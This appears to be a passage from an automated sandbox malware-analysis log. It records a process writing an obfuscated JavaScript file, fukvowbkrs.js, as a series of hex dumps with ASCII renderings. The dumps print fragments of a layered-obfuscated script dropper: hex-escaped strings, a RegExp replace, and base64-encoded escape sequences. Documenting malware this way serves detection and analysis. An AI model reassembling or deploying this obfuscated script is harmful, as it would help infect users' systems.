5b 0a 66 75 6e 63 74 
69 6f 6e 28 7a 65 6e 
31 74 68 42 29 7b 0a 
09 76 61 72 20 6d 6b 
6b 5f 70 6c 34 7a 34 
20 3d 20 41 72 72 61 
79 28 7a 65 6e 31 74 
68 42 5b 30 5d 2c 0a 
09 09 09 09 09 09 22 
5c 78 36 44 5c 78 36 
42 5c 78 36 42 5c 78 
35 46 5c 78 37 30 5c 
78 36 43 5c 78 33 34 
5c 78 37 41 5c 78 33 
34 5c 78 35 42 5c 78 
33 30 5c 78 35 44 5c 
78 32 30 5c 78 33 44 
5c 78 32 30 5c 78 36 
44 5c 78 36 42 5c 78 
36 42 5c 78 35 46 5c 
78 37 30 5c 78 36 43 
5c 78 33 34 5c 78 37 
41 5c 78 33 34 5c 78 
35 42 5c 78 33 30 5c 
78 35 44 5c 78 32 45 
22 29 3b 0a 09 6d 6b 
6b 5f 70 6c 34 7a 34 
5b 30 5d 20 3d 20 6d 
6b 6b 5f 70 6c 34 7a 
34 5b 30 5d 2e 72 65 
70 6c 61 63 65 28 6e 
65 77 20 52 65 67 45 
78 70 28 22 3e 25 40 
22 2c 20 22 67 22 29 
2c 20 22 

var efr3b0h = 
[.function(zen1thB){..var 
mkk_pl4z4 = Array(ze
n1thB[0],......."\x6D\x6B\x6
B\
x5F\x70\x6C\x34\x7A\x34\
x5B\x3
0\x5D\x20\x3D\x20\x6D\x6
B\x6B\
x5F\x70\x6C\x34\x7A\x34\
x5B\x3
0\x5D\x2E");..mkk_pl4z4[0] 
= m
kk_pl4z4[0].replace(new 
RegExp(">%@", "g"), "

success or wait 1 6F489FBC WriteFile

File WrittenFile Written
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C:\Users\user\fukvowbkrs.js unknown 1024 44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 55 31 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 7a 52 
56 78 34 

DBceDNFXHgyNVx4NDBc
eDNFXHgyNVx
4NDBceDNFXHgyNVx4ND
BceDNFXHgyN
Vx4NDBceDNFXHgyNVx4
NDBceDNFXHg
yNVx4NDBceDNFXHgyNV
x4NDBceDNFX
HgyNVx4NDBceDNFXHgy
NVx4NDBceDN
FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DNFXHgyNVx4NDBceDN
FXHgyNVx4NDB
ceDU1XHgzRVx4MjVceD
QwXHgzRVx4M
jVceDQwXHgzRVx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 54 52 63 65 44 63 77 
58 48 67 7a 4d 46 78 
34 4e 54 68 63 65 44 
51 30 58 48 67 32 4e 
46 78 34 4e 6a 6c 63 
65 44 59 7a 58 48 67 
31 4d 46 78 34 4e 6b 
46 63 65 44 55 30 58 
48 67 30 4d 6c 78 34 
4e 45 4a 63 65 44 63 
33 58 48 67 32 4e 56 
78 34 4e 6a 46 63 65 
44 59 7a 58 48 67 7a 
4d 46 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
6a 46 63 65 44 51 7a 
58 48 67 30 52 56 78 
34 4e 7a 46 63 65 44 
55 35 58 48 67 7a 4e 
56 78 34 4e 45 46 63 
65 44 59 35 58 48 67 
33 4e 31 78 34 4d 7a 
46 63 65 44 59 32 58 
48 67 30 52 46 78 34 
4e 45 56 63 65 44 56 
42 58 48 67 32 4f 46 
78 34 4d 7a 4e 63 65 
44 4d 30 58 48 67 31 
4d 31 78 34 4e 6a 4a 
63 65 44 59 7a 58 48 
67 30 4d 31 78 34 4e 
6a 4e 63 65 44 52 46 
58 48 67 31 4e 6c 78 
34 4e 6a 68 63 65 44 
52 45 58 48 67 32 51 
56 78 34 

TRceDcwXHgzMFx4NThc
eDQ0XHg2NFx
4NjlceDYzXHg1MFx4NkFc
eDU0XHg0M
lx4NEJceDc3XHg2NVx4Nj
FceDYzXHg
zMFx4M0VceDI1XHg0MF
x4NjFceDQzX
Hg0RVx4NzFceDU5XHgz
NVx4NEFceDY
5XHg3N1x4MzFceDY2XH
g0RFx4NEVce
DVBXHg2OFx4MzNceDM
0XHg1M1x4NjJ
ceDYzXHg0M1x4NjNceDR
FXHg1Nlx4N
jhceDREXHg2QVx4

success or wait 2 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\fukvowbkrs.js unknown 1024 44 68 63 65 44 4d 31 
58 48 67 30 52 56 78 
34 4d 7a 6d 63 65 44 
51 33 58 48 67 33 4e 
6c 78 34 4e 45 56 63 
65 44 51 7a 58 48 67 
31 4e 56 78 34 4d 7a 
68 63 65 44 55 77 58 
48 67 31 4f 46 78 34 
4d 7a 4e 63 65 44 51 
34 58 48 67 30 4f 56 
78 34 4e 7a 6d 63 65 
44 63 34 58 48 67 33 
4d 46 78 34 4e 7a 52 
63 65 44 5a 44 58 48 
67 30 51 31 78 34 4e 
54 4e 63 65 44 4a 43 
58 48 67 32 4e 6c 78 
34 4d 7a 42 63 65 44 
59 78 58 48 67 7a 4d 
56 78 34 4e 45 46 63 
65 44 63 32 58 48 67 
30 4f 46 78 34 4e 6a 
56 63 65 44 52 43 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 32 4d 56 
78 34 4e 44 68 63 65 
44 4a 47 58 48 67 32 
4d 56 78 34 4e 6a 68 
63 65 44 59 31 58 48 
67 33 4e 46 78 34 4e 
45 52 63 65 44 51 31 
58 48 67 7a 4d 31 78 
34 4e 54 4a 63 65 44 
59 79 58 48 67 32 52 
56 78 34 

DhceDM1XHg0RVx4Mzm
ceDQ3XHg3Nlx
4NEVceDQzXHg1NVx4Mz
hceDUwXHg1O
Fx4MzNceDQ4XHg0OVx4
NzmceDc4XHg
3MFx4NzRceDZDXHg0Q1
x4NTNceDJCX
Hg2Nlx4MzBceDYxXHgz
MVx4NEFceDc
2XHg0OFx4NjVceDRCXH
gzRVx4MjVce
DQwXHg2MVx4NDhceDJ
GXHg2MVx4Njh
ceDY1XHg3NFx4NERceD
Q1XHgzM1x4N
TJceDYyXHg2RVx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6a 6c 63 65 44 4d 34 
58 48 67 31 4d 56 78 
34 4e 6b 5a 63 65 44 
55 7a 58 48 67 30 4d 
31 78 34 4d 7a 5a 63 
65 44 55 7a 58 48 67 
30 4f 46 78 34 4e 44 
6d 63 65 44 63 31 58 
48 67 33 4e 56 78 34 
4e 7a 42 63 65 44 63 
7a 58 48 67 32 4e 6c 
78 34 4d 7a 5a 63 65 
44 56 42 58 48 67 33 
4f 56 78 34 4e 6b 5a 
63 65 44 59 31 58 48 
67 33 4f 46 78 34 4e 
54 4e 63 65 44 56 42 
58 48 67 30 51 31 78 
34 4d 7a 56 63 65 44 
63 7a 58 48 67 31 4d 
46 78 34 4e 45 4e 63 
65 44 59 34 58 48 67 
33 4f 46 78 34 4e 7a 
52 63 65 44 55 31 58 
48 67 31 51 56 78 34 
4e 44 68 63 65 44 63 
35 58 48 67 32 4f 56 
78 34 4e 44 4e 63 65 
44 5a 44 58 48 67 7a 
4f 56 78 34 4e 6a 6c 
63 65 44 59 31 58 48 
67 31 4d 56 78 34 4e 
7a 5a 63 65 44 4d 7a 
58 48 67 79 52 6c 78 
34 4d 7a 68 63 65 44 
51 30 58 48 67 31 4e 
56 78 34 

jlceDM4XHg1MVx4NkZce
DUzXHg0M1x
4MzZceDUzXHg0OFx4ND
mceDc1XHg3N
Vx4NzBceDczXHg2Nlx4M
zZceDVBXHg
3OVx4NkZceDY1XHg3OF
x4NTNceDVBX
Hg0Q1x4MzVceDczXHg1
MFx4NENceDY
4XHg3OFx4NzRceDU1XH
g1QVx4NDhce
Dc5XHg2OVx4NDNceDZD
XHgzOVx4Njl
ceDY1XHg1MVx4NzZceD
MzXHgyRlx4M
zhceDQ0XHg1NVx4

success or wait 2 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 4a 63 65 44 55 79 
58 48 67 32 52 46 78 
34 4e 55 46 63 65 44 
63 35 58 48 67 7a 4e 
56 78 34 4e 6b 46 63 
65 44 59 79 58 48 67 
30 4e 31 78 34 4e 44 
5a 63 65 44 6d 42 58 
48 67 32 4d 31 78 34 
4d 7a 6c 63 65 44 4d 
78 58 48 67 31 4f 56 
78 34 4e 6a 56 63 65 
44 55 34 58 48 67 33 
4e 31 78 34 4e 54 56 
63 65 44 55 32 58 48 
67 33 4f 46 78 34 4d 
7a 4e 63 65 44 4a 47 
58 48 67 33 51 56 78 
34 4e 6a 68 63 65 44 
4d 32 58 48 67 31 51 
56 78 34 4e 7a 6c 63 
65 44 59 79 58 48 67 
30 4f 56 78 34 4e 54 
46 63 65 44 51 31 58 
48 67 32 51 31 78 34 
4e 6a 68 63 65 44 52 
43 58 48 67 33 4d 6c 
78 34 4e 6a 68 63 65 
44 4d 31 58 48 67 31 
4d 56 78 34 4e 44 6c 
63 65 44 52 45 58 48 
67 32 4e 46 78 34 4e 
6b 52 63 65 44 5a 43 
58 48 67 7a 4d 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 

zJceDUyXHg2RFx4NUFce
Dc5XHgzNVx
4NkFceDYyXHg0N1x4ND
ZceDmBXHg2M
1x4MzlceDMxXHg1OVx4N
jVceDU4XHg
3N1x4NTVceDU2XHg3OF
x4MzNceDJGX
Hg3QVx4NjhceDM2XHg1
QVx4NzlceDY
yXHg0OVx4NTFceDQ1XH
g2Q1x4Njhce
DRCXHg3Mlx4NjhceDM1X
Hg1MVx4NDl
ceDREXHg2NFx4NkRceD
ZCXHgzMFx4M
0VceDI1XHg0MFx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6a 4e 63 65 44 51 7a 
58 48 67 30 4d 31 78 
34 4e 54 56 63 65 44 
59 35 58 48 67 33 4e 
56 78 34 4e 45 4a 63 
65 44 63 7a 58 48 67 
30 4e 56 78 34 4e 45 
4e 63 65 44 51 7a 58 
48 67 30 52 6c 78 34 
4e 7a 6c 63 65 44 55 
33 58 48 67 7a 4f 46 
78 34 4e 54 4e 63 65 
44 4d 34 58 48 67 30 
51 6c 78 34 4d 7a 6d 
63 65 44 52 42 58 48 
67 32 4d 6c 78 34 4e 
7a 68 63 65 44 51 34 
58 48 67 33 4e 31 78 
34 4e 6b 56 63 65 44 
63 7a 58 48 67 32 51 
31 78 34 4e 7a 5a 63 
65 44 51 31 58 48 67 
79 52 6c 78 34 4e 44 
4e 63 65 44 4a 43 58 
48 67 33 4f 56 78 34 
4e 54 6d 63 65 44 5a 
43 58 48 67 30 51 56 
78 34 4e 45 46 63 65 
44 63 35 58 48 67 31 
4d 56 78 34 4e 45 52 
63 65 44 51 7a 58 48 
67 30 51 31 78 34 4e 
6a 68 63 65 44 51 35 
58 48 67 31 4d 56 78 
34 4e 6b 4a 63 65 44 
55 77 58 48 67 31 4d 
31 78 34 

jNceDQzXHg0M1x4NTVce
DY5XHg3NVx
4NEJceDczXHg0NVx4NE
NceDQzXHg0R
lx4NzlceDU3XHgzOFx4NT
NceDM4XHg
0Qlx4MzmceDRBXHg2Mlx
4NzhceDQ4X
Hg3N1x4NkVceDczXHg2
Q1x4NzZceDQ
1XHgyRlx4NDNceDJCXHg
3OVx4NTmce
DZCXHg0QVx4NEFceDc5
XHg1MVx4NER
ceDQzXHg0Q1x4NjhceDQ
5XHg1MVx4N
kJceDUwXHg1M1x4

success or wait 2 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\fukvowbkrs.js unknown 1024 54 42 63 65 44 55 35 
58 48 67 7a 4e 6c 78 
34 4e 6a 4e 63 65 44 
51 79 58 48 67 32 51 
6c 78 34 4e 30 46 63 
65 44 55 34 58 48 67 
7a 4e 46 78 34 4d 7a 
5a 63 65 44 4d 30 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 7a 4d 56 
78 34 4e 6a 4e 63 65 
44 59 33 58 48 67 7a 
4e 6c 78 34 4e 6a 4e 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 59 7a 
58 48 67 32 4d 6c 78 
34 4e 44 68 63 65 44 
55 33 58 48 67 31 4d 
56 78 34 4e 6b 4e 63 
65 44 59 34 58 48 67 
33 4d 31 78 34 4e 54 
6c 63 65 44 51 79 58 
48 67 32 4f 46 78 34 
4e 6b 46 63 65 44 59 
31 58 48 67 7a 4e 46 
78 34 4e 6a 4e 63 65 
44 51 7a 58 48 67 31 
4e 6c 78 34 4e 7a 56 
63 65 44 52 42 58 48 
67 7a 4e 56 78 34 4e 
6a 68 63 65 44 59 34 
58 48 67 33 4e 31 78 
34 4e 54 42 63 65 44 
6d 42 58 48 67 33 4d 
31 78 34 

TBceDU5XHgzNlx4NjNce
DQyXHg2Qlx
4N0FceDU4XHgzNFx4Mz
ZceDM0XHgzR
Vx4MjVceDQwXHgzMVx4
NjNceDY3XHg
zNlx4NjNceDNFXHgyNVx
4NDBceDYzX
Hg2Mlx4NDhceDU3XHg1
MVx4NkNceDY
4XHg3M1x4NTlceDQyXHg
2OFx4NkFce
DY1XHgzNFx4NjNceDQz
XHg1Nlx4NzV
ceDRBXHgzNVx4NjhceDY
4XHg3N1x4N
TBceDmBXHg3M1x4

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 7a 5a 63 65 44 4d 34 
58 48 67 31 4d 56 78 
34 4e 54 42 63 65 44 
59 7a 58 48 67 7a 4e 
56 78 34 4e 7a 4e 63 
65 44 55 30 58 48 67 
31 4e 46 78 34 4d 6b 
4a 63 65 44 52 42 58 
48 67 31 4d 56 78 34 
4e 54 52 63 65 44 63 
32 58 48 67 79 51 6c 
78 34 4e 6a 4a 63 65 
44 59 31 58 48 67 32 
52 56 78 34 4d 7a 6c 
63 65 44 5a 42 58 48 
67 31 4d 56 78 34 4e 
6b 56 63 65 44 4d 7a 
58 48 67 30 4f 46 78 
34 4e 54 6c 63 65 44 
59 35 58 48 67 31 4e 
6c 78 34 4e 54 42 63 
65 44 4d 30 58 48 67 
30 4d 6c 78 34 4e 45 
52 63 65 44 52 45 58 
48 67 7a 4f 56 78 34 
4e 44 52 63 65 44 55 
77 58 48 67 32 4d 31 
78 34 4d 7a 56 63 65 
44 59 7a 58 48 67 31 
51 56 78 34 4e 6b 5a 
63 65 44 55 32 58 48 
67 31 4d 46 78 34 4e 
45 52 63 65 44 59 30 
58 48 67 32 4f 56 78 
34 4e 55 46 63 65 44 
4a 47 58 48 67 30 4d 
6c 78 34 

zZceDM4XHg1MVx4NTBc
eDYzXHgzNVx
4NzNceDU0XHg1NFx4Mk
JceDRBXHg1M
Vx4NTRceDc2XHgyQlx4N
jJceDY1XHg
2RVx4MzlceDZBXHg1MV
x4NkVceDMzX
Hg0OFx4NTlceDY5XHg1N
lx4NTBceDM
0XHg0Mlx4NERceDREXH
gzOVx4NDRce
DUwXHg2M1x4MzVceDY
zXHg1QVx4NkZ
ceDU2XHg1MFx4NERceD
Y0XHg2OVx4N
UFceDJGXHg0Mlx4

success or wait 3 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\fukvowbkrs.js unknown 1024 54 68 63 65 44 51 79 
58 48 67 30 4f 56 78 
34 4e 6a 6c 63 65 44 
4d 33 58 48 67 32 4e 
6c 78 34 4e 6a 4a 63 
65 44 4d 32 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 32 52 46 78 34 
4e 6a 4e 63 65 44 4d 
32 58 48 67 30 52 56 
78 34 4e 6a 6c 63 65 
44 4d 79 58 48 67 7a 
4f 56 78 34 4e 6b 5a 
63 65 44 4d 32 58 48 
67 33 4d 56 78 34 4d 
7a 5a 63 65 44 52 43 
58 48 67 32 4e 56 78 
34 4e 7a 46 63 65 44 
4a 43 58 48 67 31 4f 
46 78 34 4e 7a 52 63 
65 44 63 30 58 48 67 
32 4d 6c 78 34 4e 44 
68 63 65 44 55 33 58 
48 67 7a 4d 31 78 34 
4e 6b 5a 63 65 44 4d 
35 58 48 67 31 4e 31 
78 34 4e 7a 6c 63 65 
44 4d 35 58 48 67 33 
4e 46 78 34 4e 44 5a 
63 65 44 4d 78 58 48 
67 30 4d 31 78 34 4e 
54 4e 63 65 44 52 42 
58 48 67 32 4d 31 78 
34 4d 6b 5a 63 65 44 
63 31 58 48 67 32 4d 
6c 78 34 

ThceDQyXHg0OVx4Njlce
DM3XHg2Nlx
4NjJceDM2XHgzRVx4MjV
ceDQwXHg2R
Fx4NjNceDM2XHg0RVx4
NjlceDMyXHg
zOVx4NkZceDM2XHg3MV
x4MzZceDRCX
Hg2NVx4NzFceDJCXHg1
OFx4NzRceDc
0XHg2Mlx4NDhceDU3XHg
zM1x4NkZce
DM5XHg1N1x4NzlceDM5
XHg3NFx4NDZ
ceDMxXHg0M1x4NTNceD
RBXHg2M1x4M
kZceDc1XHg2Mlx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6b 56 63 65 44 63 78 
58 48 67 33 4e 6c 78 
34 4e 54 42 63 65 44 
59 7a 58 48 67 31 4d 
6c 78 34 4e 55 46 63 
65 44 63 34 58 48 67 
31 4d 46 78 34 4e 6a 
4a 63 65 44 5a 44 58 
48 67 31 51 56 78 34 
4e 6a 56 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 59 30 58 48 67 30 
4f 56 78 34 4d 7a 42 
63 65 44 55 77 58 48 
67 7a 4f 56 78 34 4d 
7a 6c 63 65 44 51 31 
58 48 67 33 4d 46 78 
34 4d 7a 4e 63 65 44 
5a 43 58 48 67 33 4e 
6c 78 34 4e 54 68 63 
65 44 55 30 58 48 67 
30 4e 6c 78 34 4e 44 
5a 63 65 44 52 42 58 
48 67 31 4d 56 78 34 
4d 7a 4e 63 65 44 6d 
42 58 48 67 30 51 31 
78 34 4e 7a 4e 63 65 
44 5a 42 58 48 67 31 
4f 56 78 34 4d 7a 6d 
63 65 44 55 79 58 48 
67 7a 4f 46 78 34 4e 
6b 4a 63 65 44 63 32 
58 48 67 33 4d 46 78 
34 4e 55 46 63 65 44 
4d 34 58 48 67 32 4e 
6c 78 34 

kVceDcxXHg3Nlx4NTBce
DYzXHg1Mlx
4NUFceDc4XHg1MFx4NjJ
ceDZDXHg1Q
Vx4NjVceDNFXHgyNVx4
NDBceDY0XHg
0OVx4MzBceDUwXHgzO
Vx4MzlceDQ1X
Hg3MFx4MzNceDZCXHg3
Nlx4NThceDU
0XHg0Nlx4NDZceDRBXH
g1MVx4MzNce
DmBXHg0Q1x4NzNceDZ
BXHg1OVx4Mzm
ceDUyXHgzOFx4NkJceDc
2XHg3MFx4N
UFceDM4XHg2Nlx4

success or wait 1 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\fukvowbkrs.js unknown 1024 6b 4a 63 65 44 51 31 
58 48 67 33 4e 56 78 
34 4e 7a 56 63 65 44 
4d 30 58 48 67 32 4d 
56 78 34 4e 45 4e 63 
65 44 51 32 58 48 67 
7a 4f 46 78 34 4d 7a 
4a 63 65 44 59 30 58 
48 67 7a 4d 31 78 34 
4d 6b 4a 63 65 44 63 
32 58 48 67 7a 4d 6c 
78 34 4e 6b 56 63 65 
44 55 79 58 48 67 31 
4e 56 78 34 4d 6b 5a 
63 65 44 4a 43 58 48 
67 32 4d 56 78 34 4e 
6a 6c 63 65 44 4d 78 
58 48 67 32 4d 56 78 
34 4e 54 4e 63 65 44 
55 30 58 48 67 33 4f 
56 78 34 4d 7a 4e 63 
65 44 63 30 58 48 67 
32 4d 56 78 34 4e 6a 
5a 63 65 44 52 46 58 
48 67 33 4d 6c 78 34 
4e 6b 5a 63 65 44 59 
35 58 48 67 32 4f 46 
78 34 4e 6a 5a 63 65 
44 4a 43 58 48 67 32 
51 31 78 34 4e 30 46 
63 65 44 4d 7a 58 48 
67 30 4e 31 78 34 4e 
6b 52 63 65 44 59 35 
58 48 67 32 4e 56 78 
34 4e 6b 5a 63 65 44 
52 43 58 48 67 30 51 
56 78 34 

kJceDQ1XHg3NVx4NzVce
DM0XHg2MVx
4NENceDQ2XHgzOFx4Mz
JceDY0XHgzM
1x4MkJceDc2XHgzMlx4N
kVceDUyXHg
1NVx4MkZceDJCXHg2MV
x4NjlceDMxX
Hg2MVx4NTNceDU0XHg3
OVx4MzNceDc
0XHg2MVx4NjZceDRFXH
g3Mlx4NkZce
DY5XHg2OFx4NjZceDJC
XHg2Q1x4N0F
ceDMzXHg0N1x4NkRceD
Y5XHg2NVx4N
kZceDRCXHg0QVx4

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 7a 4e 63 65 44 4d 30 
58 48 67 33 4e 56 78 
34 4e 7a 46 63 65 44 
4d 78 58 48 67 79 51 
6c 78 34 4e 54 6d 63 
65 44 59 78 58 48 67 
32 4d 31 78 34 4e 6b 
56 63 65 44 4a 43 58 
48 67 33 4e 31 78 34 
4e 6a 4e 63 65 44 51 
32 58 48 67 31 4d 56 
78 34 4e 6a 6d 63 65 
44 5a 42 58 48 67 33 
4d 46 78 34 4e 54 4e 
63 65 44 55 78 58 48 
67 30 4f 56 78 34 4e 
6b 4a 63 65 44 5a 47 
58 48 67 31 4e 56 78 
34 4e 54 4e 63 65 44 
55 33 58 48 67 32 4e 
31 78 34 4e 44 4e 63 
65 44 52 42 58 48 67 
32 4e 31 78 34 4e 6a 
56 63 65 44 4d 35 58 
48 67 30 4d 31 78 34 
4e 6a 56 63 65 44 4d 
33 58 48 67 79 52 6c 
78 34 4e 54 42 63 65 
44 4d 79 58 48 67 30 
4d 6c 78 34 4e 6a 6d 
63 65 44 59 32 58 48 
67 33 4d 46 78 34 4e 
44 56 63 65 44 52 45 
58 48 67 30 51 56 78 
34 4e 44 4e 63 65 44 
55 78 58 48 67 33 4e 
31 78 34 

zNceDM0XHg3NVx4NzFc
eDMxXHgyQlx
4NTmceDYxXHg2M1x4Nk
VceDJCXHg3N
1x4NjNceDQ2XHg1MVx4
NjmceDZBXHg
3MFx4NTNceDUxXHg0OV
x4NkJceDZGX
Hg1NVx4NTNceDU3XHg2
N1x4NDNceDR
BXHg2N1x4NjVceDM5XH
g0M1x4NjVce
DM3XHgyRlx4NTBceDMy
XHg0Mlx4Njm
ceDY2XHg3MFx4NDVceD
REXHg0QVx4N
DNceDUxXHg3N1x4

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6a 4a 63 65 44 4d 34 
58 48 67 33 51 56 78 
34 4e 6b 56 63 65 44 
55 79 58 48 67 32 4e 
46 78 34 4e 6a 6d 63 
65 44 4d 33 58 48 67 
33 4d 31 78 34 4e 6b 
5a 63 65 44 51 31 58 
48 67 7a 4e 31 78 34 
4e 54 4a 63 65 44 52 
47 58 48 67 30 4f 56 
78 34 4d 6b 5a 63 65 
44 55 30 58 48 67 30 
51 31 78 34 4e 55 46 
63 65 44 59 35 58 48 
67 32 51 31 78 34 4e 
7a 4a 63 65 44 52 46 
58 48 67 32 52 6c 78 
34 4e 54 5a 63 65 44 
51 30 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
7a 4d 6c 78 34 4e 7a 
46 63 65 44 63 7a 58 
48 67 31 4f 56 78 34 
4e 44 6d 63 65 44 51 
31 58 48 67 32 4e 31 
78 34 4e 44 52 63 65 
44 5a 45 58 48 67 32 
52 46 78 34 4e 7a 56 
63 65 44 63 35 58 48 
67 33 4d 31 78 34 4e 
6a 56 63 65 44 51 30 
58 48 67 7a 4d 46 78 
34 4e 54 68 63 65 44 
4d 34 58 48 67 7a 4f 
46 78 34 

jJceDM4XHg3QVx4NkVce
DUyXHg2NFx
4NjmceDM3XHg3M1x4Nk
ZceDQ1XHgzN
1x4NTJceDRGXHg0OVx4
MkZceDU0XHg
0Q1x4NUFceDY5XHg2Q1
x4NzJceDRFX
Hg2Rlx4NTZceDQ0XHgzR
Vx4MjVceDQ
wXHgzMlx4NzFceDczXHg
1OVx4NDmce
DQ1XHg2N1x4NDRceDZE
XHg2RFx4NzV
ceDc5XHg3M1x4NjVceDQ
0XHgzMFx4N
ThceDM4XHgzOFx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6a 52 63 65 44 59 34 
58 48 67 32 4e 6c 78 
34 4d 7a 46 63 65 44 
63 35 58 48 67 32 4f 
46 78 34 4e 44 4e 63 
65 44 51 35 58 48 67 
32 4f 46 78 34 4e 45 
4a 63 65 44 4d 32 58 
48 67 31 4d 6c 78 34 
4e 45 56 63 65 44 55 
7a 58 48 67 33 4d 31 
78 34 4e 6a 6d 63 65 
44 55 31 58 48 67 7a 
4e 56 78 34 4d 7a 52 
63 65 44 55 30 58 48 
67 30 52 46 78 34 4e 
6b 5a 63 65 44 55 31 
58 48 67 32 4f 46 78 
34 4e 54 46 63 65 44 
51 79 58 48 67 33 4d 
31 78 34 4e 6b 56 63 
65 44 59 34 58 48 67 
30 52 46 78 34 4e 45 
5a 63 65 44 4d 79 58 
48 67 32 4f 56 78 34 
4e 6a 46 63 65 44 52 
42 58 48 67 30 4e 46 
78 34 4d 7a 4a 63 65 
44 63 78 58 48 67 7a 
4d 6c 78 34 4d 7a 56 
63 65 44 55 31 58 48 
67 79 52 6c 78 34 4e 
6a 4e 63 65 44 51 31 
58 48 67 32 4e 46 78 
34 4e 54 42 63 65 44 
55 31 58 48 67 32 51 
31 78 34 

jRceDY4XHg2Nlx4MzFce
Dc5XHg2OFx
4NDNceDQ5XHg2OFx4NE
JceDM2XHg1M
lx4NEVceDUzXHg3M1x4N
jmceDU1XHg
zNVx4MzRceDU0XHg0RF
x4NkZceDU1X
Hg2OFx4NTFceDQyXHg3
M1x4NkVceDY
4XHg0RFx4NEZceDMyXH
g2OVx4NjFce
DRBXHg0NFx4MzJceDcx
XHgzMlx4MzV
ceDU1XHgyRlx4NjNceDQ
1XHg2NFx4N
TBceDU1XHg2Q1x4

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 68 63 65 44 4d 77 
58 48 67 33 4e 6c 78 
34 4e 6b 56 63 65 44 
51 31 58 48 67 32 52 
56 78 34 4e 55 46 63 
65 44 63 34 58 48 67 
31 4d 46 78 34 4d 7a 
5a 63 65 44 4d 79 58 
48 67 32 4e 31 78 34 
4e 45 56 63 65 44 4d 
77 58 48 67 33 4d 46 
78 34 4d 7a 5a 63 65 
44 63 35 58 48 67 33 
4e 56 78 34 4e 7a 4a 
63 65 44 4d 30 58 48 
67 32 51 31 78 34 4d 
7a 5a 63 65 44 4d 33 
58 48 67 33 4f 46 78 
34 4e 54 56 63 65 44 
55 32 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
31 4e 6c 78 34 4d 7a 
6d 63 65 44 63 35 58 
48 67 33 4d 6c 78 34 
4e 6a 6c 63 65 44 4d 
32 58 48 67 7a 4e 6c 
78 34 4e 44 6d 63 65 
44 59 32 58 48 67 30 
4e 6c 78 34 4e 7a 42 
63 65 44 59 32 58 48 
67 31 4d 6c 78 34 4e 
45 5a 63 65 44 51 79 
58 48 67 32 52 46 78 
34 4e 6a 46 63 65 44 
59 34 58 48 67 32 51 
56 78 34 

zhceDMwXHg3Nlx4NkVce
DQ1XHg2RVx
4NUFceDc4XHg1MFx4Mz
ZceDMyXHg2N
1x4NEVceDMwXHg3MFx4
MzZceDc5XHg
3NVx4NzJceDM0XHg2Q1
x4MzZceDM3X
Hg3OFx4NTVceDU2XHgz
RVx4MjVceDQ
wXHg1Nlx4MzmceDc5XH
g3Mlx4Njlce
DM2XHgzNlx4NDmceDY2
XHg0Nlx4NzB
ceDY2XHg1Mlx4NEZceD
QyXHg2RFx4N
jFceDY4XHg2QVx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 7a 6c 63 65 44 55 7a 
58 48 67 32 51 56 78 
34 4e 7a 56 63 65 44 
4d 7a 58 48 67 31 4e 
56 78 34 4e 44 68 63 
65 44 63 31 58 48 67 
7a 4d 46 78 34 4e 7a 
4a 63 65 44 52 45 58 
48 67 31 4d 6c 78 34 
4e 7a 6c 63 65 44 51 
7a 58 48 67 30 52 6c 
78 34 4d 7a 52 63 65 
44 55 31 58 48 67 30 
4e 6c 78 34 4e 7a 42 
63 65 44 55 34 58 48 
67 31 4e 6c 78 34 4e 
6b 46 63 65 44 5a 45 
58 48 67 30 4e 46 78 
